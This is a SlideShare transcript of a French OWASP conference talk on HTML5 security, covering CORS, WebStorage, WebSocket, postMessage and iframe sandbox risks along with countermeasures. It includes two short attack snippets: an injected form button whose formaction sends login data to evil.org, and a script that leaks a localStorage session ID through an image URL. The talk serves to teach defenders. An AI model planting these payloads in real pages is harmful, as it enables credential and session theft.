2011 02-07-html5-security-v1

2,210 views

Published on

Présentation effectuée sur HTML5 aux MSTechDays 2012

Published in: Technology
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,210
On SlideShare
0
From Embeds
0
Number of Embeds
631
Actions
Shares
0
Downloads
62
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide

2011 02-07-html5-security-v1

  1. 1. The OWASP Foundation http://www.owasp.org et la Sécurité ou comment les Poneys envahissent le Web 3.0... Sébastien Gioria French OWASP Leader Global Education Committee Paris - 7 Février 2012Wednesday, February 8, 12
  2. 2. Agenda •Un peu d’histoire •HTML5 pour les nuls en 4mn 2s •Nouvelles attaques et protections ? •Références 2Wednesday, February 8, 12
  3. 3. Back to the past 1995 1998 2000 2005 2012 HTML 2.0 HTML 4.0 HTML 5 ? CSS 2 CSS 3 JavaScript la DOM XmlHttpRequest 3Wednesday, February 8, 12
  4. 4. 4Wednesday, February 8, 12
  5. 5. ELEMENTS INTERESSANTS DE HTML5 5Wednesday, February 8, 12
  6. 6. 4mn 2s Nouvelles balises • On n’est pas la pour parler de peinture... Nouvelles APIs • WebSocket • WebMessaging • IndexedDB • OffLine Web Application • WebStorage (votre nouveau DropBox ? ...) • Cross Origin Ressource Sharing (déja rien que le nom est intéressant...) 6Wednesday, February 8, 12
  7. 7. 4mn 2s WebSocket : Permet d’effectuer des connexions persistantes et bi-directionnelles • mécanisme de “Push” possible • interface en cours de finalisation/ spécifications • nécessite un serveur “compatible” • API minimaliste (send, receive via event) • http://www.w3.org/TR/websockets/ 7Wednesday, February 8, 12
  8. 8. 4mn 2s WebMessaging : communication inter-documents HTML • via la méthode window.postMessage(); • pas de garantie de contenu inoffensif (ie; pas de filtre de type anti-XSS ....) • vérification de l’origine a la charge de l’application receptrice. • il est possible de transporter du JSON :) • http://www.w3.org/TR/webmessaging/ 8Wednesday, February 8, 12
  9. 9. 4mn 2s IndexedDB; la Web SQL Database... •API synchrone et asynchrone •pensée pour JavaScript; stockage d’objets •http://www.w3.org/TR/IndexedDB/ 9Wednesday, February 8, 12
  10. 10. 4mn 2s Offline Web Applications: possibilité d’exécuter tout ou partie des applications même déconnecté. • via navigator.onLine • mise en cache des données nécessaires(HTML, CSS, JavaScript...) • http://www.w3.org/TR/html5/ offline.html 10Wednesday, February 8, 12
  11. 11. 4mn 2s WebStorage : donne la capacité au navigateur de stocker jusqu’a 5Mo à 10Mo de données •deux type de stockage : local ou de session •possibilité de stocker des objets JSON •possibilité de stocker de manière régulière •http://www.w3.org/TR/webstorage/ 11Wednesday, February 8, 12
  12. 12. SÉCURITÉ ? 12Wednesday, February 8, 12
  13. 13. OWASP Top Ten 2010 A3:  Mauvaise  ges-on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec-on des  sessions  et  de   non  sécurisée  à  un   Scrip-ng  (XSS) l’authen-fica-on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric-on  d’accès  à   Forgery  (CSRF)   configura-on  sécurité cryptographique une  URL A9:  Protec-on   A10:    Redirec-ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données http://www.owasp.org/index.php/Top_10Wednesday, February 8, 12
  14. 14. Falsification de Forms Il est possible de contrôler une Forms en dehors de l’élément “forms” <form id=“myform” action=“basic.php” > <input type=“text” name=“user” value=“…” /> </form> <input form=“myform” type=“submit” name=“…” value=“Advanced Version”/> 14Wednesday, February 8, 12
  15. 15. Falsification Forms <form id=“login” action=“login.php” > <input type=“text” name=“username” /> <input type=“password” name=“password” /> <input type=“submit” name=“…” value=“Login” /> </form> Si on arrive à injecter ce code New VIP section of the site is open! <input form=“login” type=“submit” name=“Enter VIP section” formaction=“http://evil.org/login.php” /> Automatiquement, evil.org dispose des éléments et la Forms initiale est appelée 15Wednesday, February 8, 12
  16. 16. Protocol/content Handlers Il est possible d’enregistrer des handlers de protocole ou de type de fichiers personalisés • sms:// • application/pdf Il est possible (mais pas recommandé) de changer les handlers standards (dépend des navigateurs) Il n’est pas obligatoire de demander à l’utilisateur son autorisation 16Wednesday, February 8, 12
  17. 17. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. 17Wednesday, February 8, 12
  18. 18. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. 17Wednesday, February 8, 12
  19. 19. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. Mais c’etait sans compter les 17Wednesday, February 8, 12
  20. 20. Cross Origin Resource Sharing 1/4 XHR ne peut dialoguer qu’avec le site Web originaire du JavaScript. Mais c’etait sans compter les HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://internal.example.com 17Wednesday, February 8, 12
  21. 21. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  22. 22. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  23. 23. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  24. 24. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  25. 25. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  26. 26. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr GET / HTTP/1.1 intranet 18Wednesday, February 8, 12
  27. 27. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr GET / HTTP/1.1 intranet 18Wednesday, February 8, 12
  28. 28. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  29. 29. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr HTTP/1.1 200 Ok <script>XMLHttpRequest... intranet 18Wednesday, February 8, 12
  30. 30. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr HTTP/1.1 200 Ok <script>XMLHttpRequest... intranet 18Wednesday, February 8, 12
  31. 31. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  32. 32. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr XMLHTTPRequest intranet 18Wednesday, February 8, 12
  33. 33. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr XMLHTTPRequest intranet 18Wednesday, February 8, 12
  34. 34. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  35. 35. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18Wednesday, February 8, 12
  36. 36. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18Wednesday, February 8, 12
  37. 37. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18Wednesday, February 8, 12
  38. 38. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr Access-Control-Allow-Origin: * HTTP/1.1 200 Ok intranet 18Wednesday, February 8, 12
  39. 39. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr intranet 18Wednesday, February 8, 12
  40. 40. Cross Origin Resource Sharing 2/4 Bypass des contrôles d’accès poc.ckers.fr POST /endpoint HTTP/1.1 .....(contenu de la page interne) intranet 18Wednesday, February 8, 12
  41. 41. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  42. 42. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  43. 43. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  44. 44. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  45. 45. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  46. 46. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr GET / HTTP/1.1 www.cible.com 19Wednesday, February 8, 12
  47. 47. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr GET / HTTP/1.1 www.cible.com 19Wednesday, February 8, 12
  48. 48. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  49. 49. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr HTTP/1.1 200 Ok <iframe src=... www.cible.com 19Wednesday, February 8, 12
  50. 50. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  51. 51. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  52. 52. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  53. 53. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  54. 54. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr XML HttpRe ques t www.cible.com 19Wednesday, February 8, 12
  55. 55. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  56. 56. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  57. 57. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr XML Http www.cible.com Reques t 19Wednesday, February 8, 12
  58. 58. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  59. 59. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  60. 60. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com XML Http Reques t 19Wednesday, February 8, 12
  61. 61. Cross Origin Resource Sharing 3/4 DDOS ? poc.ckers.fr www.cible.com 19Wednesday, February 8, 12
  62. 62. Cross Origin Resource Sharing 4/4 Contre-mesures : •Restriction du domaine •Ne pas faire confiance à l’entete; elle peut être modifiée par l’attaquant. •Mettre en place des contre-mesures réseaux (pour les DDOS) 20Wednesday, February 8, 12
  63. 63. WebStorage Pas de contrôle de la part de l’utilisateur sur ce qui est stocké/accéder L’injection de Javascript peut bypasser la limitation du contrôle d’accès. ➡Vol de Sessions ➡Vol de données sensibles ➡Tracking d’utilisateurs 21Wednesday, February 8, 12
  64. 64. WebStorage Vol de Sessions; juste un peu plus compliqué. : <script> document.write("<img src=http://www.mysite.com?sessionID="+localStorage.getItem(SessionID)+">"); </script> le flag HTTPOnly des cookies ne fonctionne pas sur les localStorage ! 22Wednesday, February 8, 12
  65. 65. WebStorage Tracking User Les localStorage ne sont pas forcément effacer lorsqu’on efface l’historique Il est donc possible de créer des identifiants (de type cookies) persistants permettant de suivre l’utilisateur 23Wednesday, February 8, 12
  66. 66. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24Wednesday, February 8, 12
  67. 67. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24Wednesday, February 8, 12
  68. 68. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24Wednesday, February 8, 12
  69. 69. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? 24Wednesday, February 8, 12
  70. 70. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 24Wednesday, February 8, 12
  71. 71. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 24Wednesday, February 8, 12
  72. 72. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok 24Wednesday, February 8, 12
  73. 73. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok 24Wednesday, February 8, 12
  74. 74. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 24Wednesday, February 8, 12
  75. 75. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 24Wednesday, February 8, 12
  76. 76. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake 24Wednesday, February 8, 12
  77. 77. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake 24Wednesday, February 8, 12
  78. 78. WebSocket API :) Possible entre différents domaines Permettrai de réduire la taille du contenu transporté ? GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocl Handshake Tunnel TCP Full Duplex 24Wednesday, February 8, 12
  79. 79. Websocket Menaces Parmi les attaques possible, certaines sont triviales: •Shell Distant •Botnet Web • via un XSS ou tout simplement en se connectant à un site Web. •Port scanning... 25Wednesday, February 8, 12
  80. 80. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26Wednesday, February 8, 12
  81. 81. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26Wednesday, February 8, 12
  82. 82. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26Wednesday, February 8, 12
  83. 83. WebSocket •Empoisonnement de cache de proxy Proxy Transparent 26Wednesday, February 8, 12
  84. 84. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 26Wednesday, February 8, 12
  85. 85. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 26Wednesday, February 8, 12
  86. 86. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok 26Wednesday, February 8, 12
  87. 87. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok 26Wednesday, February 8, 12
  88. 88. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 26Wednesday, February 8, 12
  89. 89. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket 26Wednesday, February 8, 12
  90. 90. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26Wednesday, February 8, 12
  91. 91. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26Wednesday, February 8, 12
  92. 92. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake 26Wednesday, February 8, 12
  93. 93. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com 26Wednesday, February 8, 12
  94. 94. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com 26Wednesday, February 8, 12
  95. 95. WebSocket •Empoisonnement de cache de proxy Proxy Transparent GET / HTTP/1.1 HTTP/1.1 200 Ok Upgrade WebSocket WebSocket Protocol Handshake GET / HTTP/1.1 Host: some.host.com HTTP/1.1 200 Ok Contenu falsifié 26Wednesday, February 8, 12
  96. 96. OffLine Web Application <!DOCTYPE HTML> <html manifest="/cache.manifest"> <body> •Possibilité d’avoir des attaques de Type APT ? •Possibilité de pollution des caches de navigateurs (via un point d’accès malveillant); meme du SSL 27Wednesday, February 8, 12
  97. 97. WebMessage •Possibilité de perte de données sensibles (si envoyées à une “mauvaise iframe”) Page du site “interne” postMessage() <iframe src=”outside.control” 28Wednesday, February 8, 12
  98. 98. API Geolocation Possibilité de découvrir le lieu ou se trouve l’utilisateur (sous reserve d’avoir un GPS, ou autre système). Perte de données de vie privée... 29Wednesday, February 8, 12
  99. 99. Bac a sable des iframes <iframe sandbox="....." src="http://monsite.com/index.html"></iframe> Par défaut si rien n’est précisé : •Les formulaires, scripts et plug-ins sont désactivés. •Pas d’accès aux éléments stockés en local (cookies, sessionStorage, localStorage). •Par d’AJAX •Les liens ne peuvent cibler d’autres frames •Le contenu est considéré externe (pas d’accès à la DOM) 30Wednesday, February 8, 12
  100. 100. Bac a sable des iframes Lever les restrictions : •allow-same-origin : autorise le contenu a être traité comme de la même origine est pas externe •allow-top-navigation : l’iframe peut accéder à la navigation de niveau supérieur •allow-forms : autorise les formulaires •allow- scripts : les scripts (hors popup) sont autorisés Les navigateurs ne supportent pas tous ces éléments ! 31Wednesday, February 8, 12
  101. 101. Autres points importants Les longs traitements en JavaScript “plantaient” les navigateurs. Les WebWorkers permettent de lancer des JavaScript en tache de fond DDOS avec CORS & WebWorkers Calculs distribués (cf Ravan) 32Wednesday, February 8, 12
  102. 102. Autres Points importants CSS3 introduit de nouvelles capacités à injecter du code JavaScript Nouvelles capacités au ClickJacking 33Wednesday, February 8, 12
  103. 103. Conclusion Plein de nouvelles API interessantes pour le développeur L’ouverture se fait au détriment de la sécurité.... Une surface d’attaque accrue La belle part au JavaScript (qui peut s’executer sans consentement utilisateur) 34Wednesday, February 8, 12
  104. 104. ww.html5test.com 35Wednesday, February 8, 12
  105. 105. Quelques Sites a suivre.. http://www.w3.org/TR/html5/ : le standard https://www.owasp.org/index.php/ HTML5_Security_Cheat_Sheet http://www.caniuse.com : liste des différents supports d’API par navigateur http://www.html5test.com : le support de VOTRE navigateur vis a vis de la norme. 36Wednesday, February 8, 12

×